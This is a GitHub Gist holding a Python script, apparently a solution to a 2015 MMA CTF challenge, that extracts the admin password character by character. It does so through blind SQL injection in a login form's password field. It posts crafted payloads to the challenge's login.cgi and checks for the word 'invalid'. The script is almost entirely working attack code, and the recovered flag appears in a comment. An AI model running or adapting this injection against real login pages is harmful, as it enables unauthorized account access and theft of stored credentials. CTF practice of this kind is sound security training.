Created
September 9, 2015 18:45
-
-
Save misodengaku/ef2ded85a0253f485d3c to your computer and use it in GitHub Desktop.
Login as admin!
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import urllib.request | |
import sys | |
# flag = "MMA{cats_alice_band}" | |
flag = "MMA{" | |
fl = len(flag) + 1 | |
chars = "}abcdefghijklmnopqrstuvwxyz0123456789-=_.,ABCDEFGHIJKLMNOPQRSTUVWXYZ" | |
i = 0 | |
while True: | |
while i < len(chars): | |
c = chars[i] | |
postdata = { | |
"username": "admin", | |
"password": "' or substr(password,1,%d)=\"%s%s\" -- " % (fl, flag, c) | |
} | |
epost = urllib.parse.urlencode(postdata).encode(encoding='ascii') | |
print("%s%s, %d" % (flag, c, fl)) | |
with urllib.request.urlopen('http://arrive.chal.mmactf.link/login.cgi', data=epost) as page: | |
t = page.readlines() | |
out = "" | |
for word in t: | |
out += word.decode("utf-8") + ' ' | |
print(out) | |
if "invalid" in out: | |
print("wrong") | |
else: | |
if c == "}": | |
print("flag is %s}" % flag) | |
sys.exit() | |
flag = flag + c | |
fl = fl + 1 | |
i = 0 | |
continue | |
i = i + 1 | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment